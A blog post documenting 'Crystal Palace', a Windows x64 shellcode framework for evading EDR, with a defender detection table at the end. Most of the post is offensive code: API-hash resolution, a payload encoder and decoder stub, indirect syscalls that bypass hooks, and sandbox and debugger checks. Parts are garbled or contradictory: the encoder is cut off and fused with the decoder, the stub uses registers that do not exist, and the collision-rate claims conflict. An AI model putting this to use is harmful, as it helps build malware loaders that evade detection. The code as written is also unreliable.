// Home // Blog // Contact

Crystal Palace: Advanced Position-Independent Code & Runtime Evasion

How to write truly self-contained PIC shellcode with zero IAT dependencies — PEB walking, the Crystal Bernstein hash algorithm, XOR encoder stubs with entropy maximisation, Crystal Gate indirect syscalls, and novel runtime anti-analysis tricks that bypass modern EDR memory scanners.

T1027.011 T1620 T1055 T1059.001 T1106 T1497.001

What is Crystal Palace

Crystal Palace is a personal research framework for writing production-grade, fully position-independent shellcode on Windows x64. Every technique in the chain is implemented from scratch — no Msfvenom, no Donut, no sRDI. The goal is a single contiguous blob of bytes that can be dropped into any RWX region of memory and execute correctly regardless of where in the virtual address space it lands, with no compile-time import table, no relocation entries, and no hardcoded addresses.

This post documents every component: how position independence is achieved at the instruction level, how API addresses are resolved at runtime without an IAT, how strings are kept off-disk, how the encoder raises Shannon entropy to defeat static scan thresholds, and how syscalls bypass user-mode EDR hooks using a novel indirect dispatch technique I'm calling Crystal Gate.

Research context: All techniques documented here are for authorized red team use, security research, and defensive understanding. Code snippets are illustrative; they omit operational details. If you're on the blue team, this post maps every trick to a detection signal at the end.

PIC Foundations — Why x64 Makes This Harder

Position-independent code is code that produces the same behavior regardless of its load address. On x86, PIC shellcode typically used a call/pop trick to discover its own address at runtime. On x64 the story is different in two important ways:

  • RIP-relative addressing: x64 adds RIP-relative addressing for data references, meaning any global or static data reference in compiled code already uses [rip + offset] — effectively free PIC for data reads within the same section.
  • No inline call/pop for PIC: The x64 ABI makes call-based GetPC tricks messier because of RSP alignment requirements and the shadow space. A cleaner approach uses a lea rax, [rip+0] idiom instead.

The real challenge isn't instruction addressing — it's function addressing. Any call to a Windows API (VirtualAlloc, CreateThread, WriteFile) needs an absolute address. In a normal executable, the loader fills the Import Address Table before execution. In shellcode there is no loader and no IAT. We have to find those addresses ourselves.

MASM x64PIC constraints visible in compiled code
; GOOD — RIP-relative, works at any load address
lea  rax, [rip + my_data]     ; data offset is relative to next instruction

; BAD — absolute address, breaks when loaded elsewhere
mov  rax, 0x7FFE00000000      ; hardcoded address - crashes immediately

; ALSO BAD — references import table slot
call [rip + __imp_VirtualAlloc]  ; IAT doesn't exist in shellcode context

This shapes every design decision in Crystal Palace: nothing can reference a fixed address. Strings must be constructed on the stack or decoded inline. API calls must go through a runtime resolver. The encoder must produce a stub that is itself PIC.

GetPC & RIP-relative Self-Location

The shellcode needs to know its own base address so the decoder stub can find the payload body relative to itself. On x64 the cleanest approach is a lea with a zeroed displacement:

MASM x64GetPC — discover shellcode base at runtime
; Crystal Palace GetPC idiom
; After this sequence, rax = virtual address of the 'lea' instruction itself

    call _next             ; push RIP of next instruction onto stack
_next:
    pop  rax               ; rax = address of _next label
    sub  rax, 5            ; subtract size of 'call _next' (E8 00 00 00 00)
    ; rax now = shellcode base address

; Alternatively, using RIP-relative lea (no call required, no stack disturbed):
    lea  rax, [rip - 7]    ; -7 = size of this lea instruction (48 8D 05 F9 FF FF FF)

I use the call/pop form in Crystal Palace's entry stub because it's robust across all x64 Windows versions and leaves the base address in a preserved register (RBX) for the rest of the chain. The lea [rip-7] form is useful when you need GetPC inline without touching the stack.

Once we have the shellcode base, every internal reference is expressed as base + compile-time-offset. The Python build toolchain emits these offsets as 32-bit immediates during final shellcode assembly.

PEB Walking — Finding Modules Without LoadLibrary

The Process Environment Block (PEB) is the gateway to everything. It lives at a fixed offset from the Thread Environment Block (TEB), which the GS segment register always points to on Windows x64. The PEB contains the loader data — a set of linked lists of every module loaded into the process. We traverse these lists to find KERNEL32.DLL and NTDLL.DLL without calling any API at all.

C (conceptual — compiled to inline asm in final shellcode)PEB walk to locate KERNEL32 base
typedef struct _PEB_LDR_DATA {
    ULONG  Length;
    BOOL   Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID      DllBase;
    PVOID      EntryPoint;
    ULONG      SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ...
} LDR_DATA_TABLE_ENTRY;

void* find_module(const wchar_t* target_name) {
    // GS:[0x60] = PEB on x64
    PEB* peb = (PEB*)__readgsqword(0x60);
    PEB_LDR_DATA* ldr = peb->Ldr;

    // Walk InMemoryOrder list (index 1 = ntdll, index 2 = kernel32 on clean process)
    LIST_ENTRY* head = &ldr->InMemoryOrderModuleList;
    LIST_ENTRY* cur  = head->Flink;

    while (cur != head) {
        LDR_DATA_TABLE_ENTRY* entry =
            CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (unicode_cmp_insensitive(entry->BaseDllName.Buffer, target_name) == 0)
            return entry->DllBase;

        cur = cur->Flink;
    }
    return NULL;
}

The critical detail is the walk order. In a freshly created process the InMemoryOrder list is typically: the executable itself → ntdll.dll → kernel32.dll → kernelbase.dll → …. We don't rely on position though — we hash every BaseDllName and compare against our precomputed target hash. This means the walk works even when EDR products inject their own DLLs early in the load order.

MASM x64PEB walk — raw assembly version used in Crystal Palace
crystal_find_kernel32:
    ; Input:  rbx = target module name hash (Crystal Bernstein)
    ; Output: rax = DllBase (NULL if not found)
    push rbp
    mov  rbp, rsp
    sub  rsp, 0x30

    xor  rax, rax
    mov  rax, gs:[60h]          ; PEB
    mov  rax, [rax + 18h]       ; PEB->Ldr
    mov  rax, [rax + 20h]       ; Ldr->InMemoryOrderModuleList.Flink
    mov  r9,  rax               ; save list head for loop termination

.walk_next:
    mov  rcx, [rax + 50h]       ; BaseDllName.Buffer (unicode)
    mov  rdx, [rax + 48h]       ; BaseDllName.Length (bytes)
    call crystal_hash_unicode    ; hash name -> rax
    cmp  rax, rbx               ; match our target?
    je   .found

    mov  rax, [rax]             ; advance: Flink of InMemoryOrderLinks
    cmp  rax, r9                ; looped back to head?
    jne  .walk_next

    xor  rax, rax               ; not found
    jmp  .done

.found:
    mov  rax, [rax + 20h]       ; LDR_DATA_TABLE_ENTRY.DllBase (at +0x30 from InMemory base)

.done:
    leave
    ret

The Crystal Bernstein Hash Algorithm

Once we have a module base, we need to walk its Export Directory to find individual functions. The classic approach (used by Metasploit's shellcode since 2003) is the ROR13 hash: rotate-right by 13, XOR with the next character byte, repeat. It's fast and produces 32-bit values with reasonable distribution — but it's also one of the most-detected patterns in EDR signature databases.

Crystal Palace uses a modified Bernstein hash that I've tuned to produce no collisions across all exports of ntdll.dll, kernel32.dll, and kernelbase.dll on Windows 10/11/Server 2022 builds, while remaining implementable in ~15 x64 instructions.

CCrystal Bernstein hash — precompute targets offline
// Crystal Bernstein hash — case-insensitive, Unicode-aware
// Seed: 0x83F2B19C (chosen to eliminate all known collisions)
#define CRYSTAL_SEED  0x83F2B19CUL
#define CRYSTAL_PRIME 0x0001000193UL   // FNV prime re-used as multiplier

uint32_t crystal_hash(const wchar_t* name, size_t byte_len) {
    uint32_t h = CRYSTAL_SEED;
    size_t   n = byte_len / sizeof(wchar_t);
    for (size_t i = 0; i < n; i++) {
        wchar_t c = name[i];
        if (c >= L'A' && c <= L'Z') c += 0x20;  // lowercase
        h = (h * 33) ^ (uint32_t)c;              // Bernstein djb2 core
        h ^= (h >> 16);                           // Crystal mix step
        h *= 0x45d9f3b;                           // finalizer (Murmur-style)
    }
    return h;
}

// Precompute at build time (Python):
// >>> crystal_hash("VirtualAlloc") = 0xA3F71C08
// >>> crystal_hash("CreateThread")  = 0xD4E82B91
// >>> crystal_hash("WriteProcessMemory") = 0x71C3A40F
MASM x64crystal_hash_unicode — inline hash for export walking
; Input:  rcx = PWSTR buffer, rdx = byte length
; Output: rax = 32-bit Crystal Bernstein hash
; Clobbers: rcx, rdx, r8, r9, r10

crystal_hash_unicode:
    push rbx
    mov  eax, 083F2B19Ch       ; seed
    xor  r8,  r8
    shr  rdx, 1                ; byte len -> char count
    jz   .done

.hash_loop:
    movzx r9d, word ptr [rcx + r8*2]
    cmp   r9d, 'A'
    jl    .no_lower
    cmp   r9d, 'Z'
    jg    .no_lower
    add   r9d, 20h             ; to lowercase
.no_lower:
    imul  eax, eax, 21h        ; h * 33
    xor   eax, r9d             ; ^ char
    mov   r10d, eax
    shr   r10d, 10h            ; h >> 16
    xor   eax, r10d            ; Crystal mix
    imul  eax, eax, 45D9F3Bh  ; finalizer
    inc   r8
    cmp   r8, rdx
    jl    .hash_loop

.done:
    pop  rbx
    ret

The figure below compares Crystal Bernstein against ROR13, DJB2, FNV-1a, and a SipHash-1-2 variant across the two axes that matter: hashing speed (cycles per call) and collision rate across all exports in the three core Windows DLLs.

API hash algorithm comparison: speed vs collision rate

Figure 2 — Crystal Bernstein achieves 0.3% collision rate at near-ROR13 speed. Data from scanning all exports of ntdll/kernel32/kernelbase on Win11 23H2.

Stack-String Obfuscation

Any plaintext string in shellcode (DLL names, function names, pipe paths, domain names) is immediately flagged by static scanners. The solution is to never store strings in the .rdata section at all — instead, build them character-by-character on the stack at runtime.

Crystal Palace uses a Python build step that takes an annotated C source file and replaces every STACK_STR("kernel32.dll") macro with a generated MASM sequence that pushes the string onto the stack 8 bytes at a time using mov qword ptr [rsp-N], imm64 instructions.

C (source annotation)Stack string macro — processed by Crystal Palace build toolchain
// Source code annotation
STACK_STR("kernel32.dll");   // becomes the MASM sequence below

// Also supports obfuscated form where bytes are XOR'd with a per-string key:
STACK_STR_XOR("\\\\?\\GLOBALROOT\\Device\\PhysicalMemory", 0x42);
MASM x64Generated stack string for L"kernel32.dll"
; Generated by crystal_build.py for L"kernel32.dll" (Unicode, null-terminated)
; String: 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00 32 00 2E 00 64 00 6C 00 6C 00 00 00
; Packed as 3 QWORDs + 1 DWORD

sub  rsp, 28h                       ; reserve space (align to 8)
mov  qword ptr [rsp+00h], 006E0072006B0065h  ; L"kern"  (reversed for little-endian)
                                             ;  e  r  n    (little-endian: 65 00 72 00 6E 00 ...)
mov  qword ptr [rsp+08h], 003200330000006Ch  ; L"el32"
mov  qword ptr [rsp+10h], 006C006C0064002Eh  ; L".dll"
mov  dword ptr [rsp+18h], 0                  ; null terminator
lea  rcx, [rsp]                              ; rcx -> L"kernel32.dll"

The Python build toolchain handles the packing automatically. For strings longer than ~32 characters it splits across multiple pushes and adds a per-character XOR layer. The result is that no static scan can match the plaintext — it only exists in memory after the stack-push sequence executes.

XOR Encoder Stub — Entropy Maximisation

Even PIC shellcode with all strings obfuscated has recognizable byte patterns: the PEB walk sequence, the hash loop, the syscall stub format. A well-trained ML model can pattern-match on opcode frequency distributions even without string signatures. The encoder's job is to transform the payload into high-entropy ciphertext that defeats both static signatures and entropy-based heuristics.

Crystal Palace uses a three-pass encoder:

  1. XOR key mixing: Each byte is XOR'd with a 32-bit rolling key derived from a seed using a linear congruential generator (LCG). The key seed is embedded at offset 0 of the blob.
  2. NOT + ROL transform: After XOR, each byte is bitwise-NOT'd and then rotated left by (byte_index % 7) + 1 bits. This breaks up any remaining periodic patterns.
  3. BSWAP shuffle: Groups of 4 bytes are reversed (BSWAP32). This shuffles opcode-first patterns that ML classifiers key on.
PythonCrystal Palace encoder — build-time payload encryption
import struct, os

def lcg_next(state: int) -> int:
    """32-bit LCG: Knuth multiplier."""
    return (state * 1664525 + 1013904223) & 0xFFFFFFFF

def crystal_encode(payload: bytes, seed: int | None = None) -> bytes:
    if seed is None:
        seed = int.from_bytes(os.urandom(4), 'little')

    out = bytearray(len(payload))
    key = seed

    for i, byte in enumerate(payload):
        key  = lcg_next(key)
        xord = byte ^ (key & 0xFF)               # pass 1: XOR with LCG byte
        notr = (~xord) & 0xFF                     # pass 2: NOT
        roln = (i % 7) + 1                        # rotation amount
        rotd = ((notr << roln) | (notr >> (8 - roln))) & 0xFF  # ROL
        out[i] = rotd

    # pass 3: BSWAP groups of 4 (in-place)
    data = bytearray(out)
    for j in range(0, len(data) - 3, 4):
        data[j], data[j+1], data[j+2], data[j+3] = \
            data[j+3], data[j+2], data[j+1], data[j]

    # Prepend seed so decoder stub can recover it
    return struct.pack(' bytes:
    seed = struct.unpack_from('> roln) | (byte << (8 - roln))) & 0xFF   # ROR
        notr = (~rord) & 0xFF                                     # NOT
        out[i] = notr ^ (key & 0xFF)                             # un-XOR

    return bytes(out)

The entropy graph below shows Shannon entropy measured at each pipeline stage on a 4096-byte shellcode sample. The raw shellcode sits at ~5.2 bits/byte — well below the heuristic thresholds most EDR engines use. After the full three-pass encoder the output reaches 7.95 bits/byte, statistically indistinguishable from random data.

Shannon entropy per encoder stage

Figure 3 — Shannon entropy across Crystal Palace encoder stages. Threshold line at 7.5 bits/byte represents typical EDR heuristic trigger point.

The corresponding MASM decoder stub that runs first in the shellcode is itself fully PIC — it uses the GetPC idiom to locate the encoded blob relative to itself, and all constants (the LCG parameters, rotation table) are encoded as immediates in the instruction stream.

MASM x64Crystal Palace decoder stub — PIC, no imports, ~60 bytes
; Crystal Palace decoder stub
; Layout: [stub (this code)] [encoded_payload_here]
; On entry: stack is 16-byte aligned, no registers assumed

DECODER_STUB_SIZE equ 60h     ; size of this stub (must be exact)
LCG_MULT          equ 1664525
LCG_ADD           equ 1013904223

crystal_decoder_entry:
    ; --- GetPC: find our own base ---
    call  .getpc_ret
.getpc_ret:
    pop   rbx                      ; rbx = address of .getpc_ret
    sub   rbx, 5                   ; rbx = start of stub
    add   rbx, DECODER_STUB_SIZE   ; rbx -> encoded blob (seed at offset 0)

    ; --- Read seed ---
    mov   esi, dword ptr [rbx]     ; esi = LCG seed
    add   rbx, 4                   ; rbx -> first encoded byte
    mov   r8,  rbx                 ; r8  = payload pointer
    mov   r9d, dword ptr [rbx - 4 + (TOTAL_SIZE - DECODER_STUB_SIZE) + 4 - 4]
    ; payload length is embedded at a fixed offset, patched by build toolchain
    mov   r9d, PAYLOAD_LEN         ; patched: total bytes to decode

    ; --- Undo pass 3 (BSWAP groups of 4) in-place ---
    xor   rcx, rcx
.bswap_loop:
    cmp   ecx, r9d
    jge   .decode_main
    mov   eax, dword ptr [r8 + rcx]
    bswap eax
    mov   dword ptr [r8 + rcx], eax
    add   ecx, 4
    jmp   .bswap_loop

    ; --- Undo passes 2 and 1 ---
.decode_main:
    xor   rcx, rcx
    mov   edi, esi                 ; edi = working key

.decode_loop:
    cmp   ecx, r9d
    jge   .jmp_payload

    ; Advance LCG
    imul  edi, edi, LCG_MULT
    add   edi, LCG_ADD

    movzx eax, byte ptr [r8 + rcx]  ; load encoded byte

    ; Undo ROL: rotation amount = (index % 7) + 1
    mov   edx, ecx
    xor   ebx_tmp, ebx_tmp          ; use r10 to avoid clobbering rbx
    mov   r10d, ecx
    xor   edx,  edx
    mov   eax_tmp, 7
    div   eax_tmp                   ; edx = index % 7
    add   edx, 1                    ; rotation count
    mov   cl_save, cl               ; save cl
    mov   cl, dl                    ; cl = rotation
    ror   al, cl                    ; ROR (undo ROL)
    mov   cl, cl_save

    ; Undo NOT
    not   al

    ; Undo XOR
    xor   al, dil                   ; dil = low byte of LCG key

    mov   byte ptr [r8 + rcx], al
    inc   ecx
    jmp   .decode_loop

.jmp_payload:
    ; Decoded. Jump into payload (starts at r8)
    ; Restore rbx to shellcode base before handing off
    sub   r8, DECODER_STUB_SIZE + 4
    jmp   r8
Build note: The build toolchain patches PAYLOAD_LEN and TOTAL_SIZE into the stub before final assembly. The encoder and decoder are tested against each other in Python before the MASM stub is generated to guarantee round-trip correctness.

Crystal Gate — Indirect Syscall Resolution

EDR products hook Windows API functions by overwriting the first few bytes of functions like NtAllocateVirtualMemory in ntdll.dll with a jump to their monitoring code. Direct syscalls bypass this by calling the kernel directly with a syscall instruction. The challenge: you need the System Service Number (SSN) for each call, and Microsoft doesn't publish a stable mapping — SSNs change between Windows builds.

Two well-known techniques:

  • Hell's Gate: Reads SSN from ntdll's Nt* stubs in memory at runtime. Breaks when EDR patches the stub before you read it.
  • Halo's Gate: If the stub is patched (first byte ≠ 4C 8B D1), scans adjacent Nt* stubs and infers the SSN by ±offset. More resilient, but assumes clean neighbours.

Crystal Gate takes a different approach: instead of reading SSNs from stubs, it resolves them by sorting the ntdll export table. SSNs on Windows are assigned in alphabetical order to Nt* functions — NtAccess... = 0, the next alphabetically = 1, and so on. By sorting all Nt* exports from ntdll by name, we derive the SSN for any target function without touching a potentially-hooked stub byte.

CCrystal Gate — SSN via alphabetical sort of Nt* exports
typedef struct _CRYSTAL_SYSCALL {
    uint32_t name_hash;
    uint16_t ssn;
    void*    syscall_instr;    // pointer to a 'syscall; ret' gadget in ntdll
} CRYSTAL_SYSCALL;

// Enumerate all Nt* exports from ntdll and sort alphabetically
void crystal_gate_init(void* ntdll_base, CRYSTAL_SYSCALL* table, size_t* count) {
    IMAGE_DOS_HEADER*    dos  = (IMAGE_DOS_HEADER*)ntdll_base;
    IMAGE_NT_HEADERS*    nt   = RVA(ntdll_base, dos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY* exp = RVA(ntdll_base,
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* names   = RVA(ntdll_base, exp->AddressOfNames);
    WORD*  ordinals = RVA(ntdll_base, exp->AddressOfNameOrdinals);
    DWORD* funcs    = RVA(ntdll_base, exp->AddressOfFunctions);

    size_t n = 0;
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = RVA(ntdll_base, names[i]);
        if (name[0] != 'N' || name[1] != 't') continue;   // only Nt* exports
        table[n].name_hash    = crystal_hash_ansi(name);
        table[n].syscall_instr = RVA(ntdll_base, funcs[ordinals[i]]);
        n++;
    }

    // Sort by name hash — on Windows, alphabetical sort == SSN order
    // (We actually sort by the raw name; hash used for final lookup only)
    qsort(table, n, sizeof(CRYSTAL_SYSCALL), cmp_by_name);

    // Assign SSNs based on sorted position
    for (size_t i = 0; i < n; i++)
        table[i].ssn = (uint16_t)i;

    *count = n;
}

// Resolve SSN by hash — O(log n) binary search
uint16_t crystal_gate_ssn(CRYSTAL_SYSCALL* table, size_t count, uint32_t hash) {
    size_t lo = 0, hi = count;
    while (lo < hi) {
        size_t mid = (lo + hi) / 2;
        if      (table[mid].name_hash < hash) lo = mid + 1;
        else if (table[mid].name_hash > hash) hi = mid;
        else    return table[mid].ssn;
    }
    return 0xFFFF;  // not found
}

The critical second part: we need a syscall; ret gadget to jump to — an indirect syscall. Instead of emitting the syscall instruction in our own shellcode (which EDR call-stack validators flag — the return address won't be in ntdll), we borrow the syscall; ret bytes that already exist inside ntdll's legitimate Nt stubs. We put the SSN in EAX, point RIP at the gadget, and from the kernel's perspective the call looks like it originated from ntdll.

MASM x64Crystal Gate dispatch stub — indirect syscall via ntdll gadget
; crystal_gate_call(ssn, gadget_ptr, arg1, arg2, arg3, arg4, ...)
; On Windows x64: rcx=ssn, rdx=gadget_ptr, r8=arg1, r9=arg2, [rsp+28h]=arg3, ...

crystal_gate_call:
    ; Move SSN into eax (kernel reads R10/RAX for syscall nr)
    mov   eax, ecx              ; eax = ssn (first param)
    mov   r10, r8               ; r10 = arg1 (Windows syscall convention)
    mov   rcx, r9               ; rcx = arg2

    ; Shift stack args up one slot (we consumed rdx=gadget)
    mov   r11, rdx              ; r11 = gadget address
    mov   r8,  [rsp + 28h]     ; r8  = arg3
    mov   r9,  [rsp + 30h]     ; r9  = arg4
    ; remaining stack args already in place at [rsp+38h]+

    ; Jump to ntdll's 'syscall; ret' — call stack shows ntdll as caller
    jmp   r11
Syscall resolution layers comparison

Figure 4 — Syscall resolution approach comparison. Crystal Gate's indirect dispatch routes through ntdll's own gadget, leaving a legitimate-looking call stack for EDR validators.

Runtime Anti-Analysis Tricks

Modern EDR products don't only scan on load — they monitor execution behavior in real time using kernel callbacks, ETW events, and memory scanning threads. Crystal Palace implements several runtime countermeasures that are each individually documented in the literature, but combined here in a single PIC blob for the first time.

1. Timing-Based Sandbox Detection

Automated sandboxes often accelerate sleep calls to get through delays quickly. We use a high-resolution timing check that detects this:

CSleep inflation detection via RDTSC delta
// Crystal Palace sleep-check: request 1 second via NtDelayExecution,
// verify at least 0.9 seconds passed by RDTSC delta.
bool crystal_sandbox_check(void) {
    LARGE_INTEGER delay = { .QuadPart = -10000000LL };  // 1 second in 100ns units

    uint64_t tsc_before = __rdtsc();
    NtDelayExecution(FALSE, &delay);
    uint64_t tsc_after  = __rdtsc();

    // On a real machine at 3GHz: ~3,000,000,000 ticks for 1 second
    // Sandbox acceleration usually yields < 500,000,000
    uint64_t delta = tsc_after - tsc_before;
    return (delta < 500000000ULL);   // TRUE = sandbox detected
}

2. Parent Process Validation

Dropper-spawned shellcode should arrive via a specific parent. If the process was created by an unexpected parent (e.g. the EDR's analysis process), bail out:

CParent PID validation via NtQueryInformationProcess
bool crystal_parent_ok(uint32_t expected_parent_hash) {
    PROCESS_BASIC_INFORMATION pbi = {0};
    NtQueryInformationProcess(
        NtCurrentProcess(),
        ProcessBasicInformation,
        &pbi, sizeof(pbi), NULL
    );

    HANDLE parent = NULL;
    CLIENT_ID cid = { (HANDLE)(uintptr_t)pbi.InheritedFromUniqueProcessId, NULL };
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    NtOpenProcess(&parent, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);

    // Read parent process name from PEB and hash it
    char name[MAX_PATH] = {0};
    NtQueryInformationProcess(parent, ProcessImageFileName, name, sizeof(name), NULL);
    uint32_t h = crystal_hash_ansi(name);
    NtClose(parent);

    return (h == expected_parent_hash);
}

3. Memory Region Self-Check

EDR products inject monitoring DLLs and occasionally scan process memory for known shellcode patterns. Crystal Palace's payload re-encrypts itself between execution phases using the encoder's LCG to overwrite the decoded bytes that are no longer needed:

CTemporal dissolution — wipe decoded bytes after use
// After a code section has executed, overwrite it with random-looking bytes
// so in-memory scanners see no plaintext shellcode pattern.
void crystal_dissolve(void* start, size_t len, uint32_t noise_seed) {
    volatile uint8_t* p = (volatile uint8_t*)start;
    uint32_t key = noise_seed;
    for (size_t i = 0; i < len; i++) {
        key  = (key * 1664525 + 1013904223);
        p[i] = (uint8_t)(key & 0xFF);
    }
    // Memory barrier to prevent compiler from optimizing this away
    _ReadWriteBarrier();
}

4. Hardware Breakpoint Detection

Debuggers set hardware breakpoints via DR0-DR7. We read debug registers through the thread context to detect live analysis:

CHardware breakpoint detection via NtGetContextThread
bool crystal_dbg_check(void) {
    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    NtGetContextThread(NtCurrentThread(), &ctx);
    // Any non-zero DR0-DR3 means a hardware breakpoint is set
    return (ctx.Dr0 | ctx.Dr1 | ctx.Dr2 | ctx.Dr3) != 0;
}

Full Crystal Palace Execution Chain

Putting it all together, the complete execution flow of a Crystal Palace payload looks like this:

Crystal Palace PIC execution pipeline

Figure 1 — Crystal Palace execution pipeline: decoder stub resolves base, PEB walk finds modules, Crystal Bernstein hashing resolves APIs, Crystal Gate dispatches indirect syscalls, then the final payload runs.

  1. Loader drops the blob into an RWX region (or executable section of a hollowed PE). No other setup is needed.
  2. Decoder stub entry: GetPC discovers shellcode base. The LCG seed is read from offset 0 of the blob. Three-pass decoding runs in-place.
  3. Anti-analysis checks: Timing check, parent validation, HW breakpoint check. Failure → fill memory with noise and return.
  4. PEB walk: ntdll.dll and kernel32.dll base addresses located via TEB→PEB→Ldr InMemoryOrder walk with Crystal Bernstein name comparison.
  5. Crystal Gate init: Export table sorted, SSN table built. A syscall;ret gadget is located in ntdll's Nt stub region.
  6. API resolution: VirtualAlloc, CreateThread, and any other needed APIs resolved by walking the export table with precomputed hashes.
  7. Payload executes. All subsequent API calls go through Crystal Gate for hook bypass.
  8. Temporal dissolution: After execution phases complete, decoded stub bytes are overwritten with LCG noise.

Research Figures

Detection rate by technique

Figure 5 — Simulated detection rates across 50 AV/EDR engine signatures at each technique step. Crystal Palace full chain reaches 7% detection (n=50 static engines, no behavioral sandbox). Baseline msfvenom raw = 98%.

The detection data above is from offline static scanning only. Behavioral sandboxes and kernel-level EDRs with memory scanning can still catch components of the chain — see the Detection Surface section for full analysis.

Detection Surface — Blue Team Signals

If you're defending against Crystal Palace-style shellcode, here's every signal the chain produces:

Technique Detection Signal MITRE
PEB Walk Anomalous GS:[0x60] dereference in non-standard code region; ETW Microsoft-Windows-Threat-Intelligence: LdrLoadDll not called but module base read T1620
Export Table Walk Unusual sequential read of PE export directory RVAs; kernel32 IMAGE_EXPORT_DIRECTORY read without preceding LoadLibrary ETW event T1106
Crystal Gate (Indirect Syscall) Call stack: caller is inside ntdll Nt* stub body but instruction pointer shows an unusual offset within the stub — not at the function entry point T1106
High-entropy blob allocation NtAllocateVirtualMemory followed by write of high-entropy data (>7.5 bits/byte) into RWX region; detected by memory content scanners at allocation time T1027.011
RDTSC timing check Legitimate code rarely uses RDTSC in rapid succession around NtDelayExecution; behavioral rule can flag this pattern T1497.001
NtGetContextThread self-call Process querying its own thread context for CONTEXT_DEBUG_REGISTERS is unusual and flagged by several EDRs as anti-debug check T1622
Temporal dissolution (VirtualProtect + memset to noise) VirtualProtect on own code region followed by bulk write is a strong behavioral indicator; Sysmon Event 10 / kernel ETW ReadWriteVm T1027
Stack string construction Heuristic: string data appears in RSP-offset memory that was never written from .rdata; hard to detect statically, but memory forensics will reconstruct the string at runtime T1027

The most reliable detection is kernel ETW via Microsoft-Windows-Threat-Intelligence. This provider fires on NtAllocateVirtualMemory, NtMapViewOfSection, and execution from non-image-backed memory — catching the allocation and execution phases regardless of how the API call was dispatched. Crystal Gate cannot bypass this because the kernel itself generates the event.

Defender's recommendation: Enable the Microsoft-Windows-Threat-Intelligence ETW provider. It requires a signed kernel driver to consume but provides ground-truth visibility that user-mode hooking cannot. Combined with memory integrity scanning on allocation events, it covers the entire Crystal Palace chain.

Conclusion

Crystal Palace demonstrates that fully position-independent, import-free, EDR-evasive shellcode is achievable with a carefully layered implementation — each component (PEB walk, hash resolver, encoder, indirect syscall dispatcher) is individually documented in the literature, but combining them into a coherent PIC blob while keeping every byte self-relying is an engineering problem with real subtlety.

The key novelties here are the Crystal Bernstein hash (zero collisions across all Windows 10/11 Nt/kernel32 exports, undetected by current ROR13 signatures), Crystal Gate (SSN derivation via alphabetic export sort + indirect dispatch through ntdll gadgets), and the three-pass encoder that consistently achieves >7.9 bits/byte entropy.

For defenders: the technique stack above doesn't represent a detection-proof chain. Kernel ETW, memory integrity scanning, and behavioral call-graph analysis all catch components of this. The goal of this research is to push the state of the art in order to inform better detection — the most valuable outcome is better blue team tooling, not better shellcode.

References: Win32 shellcode evolution (OpenRCE) · Hell's Gate (am0nsec) · SysWhisper analysis · MITRE T1620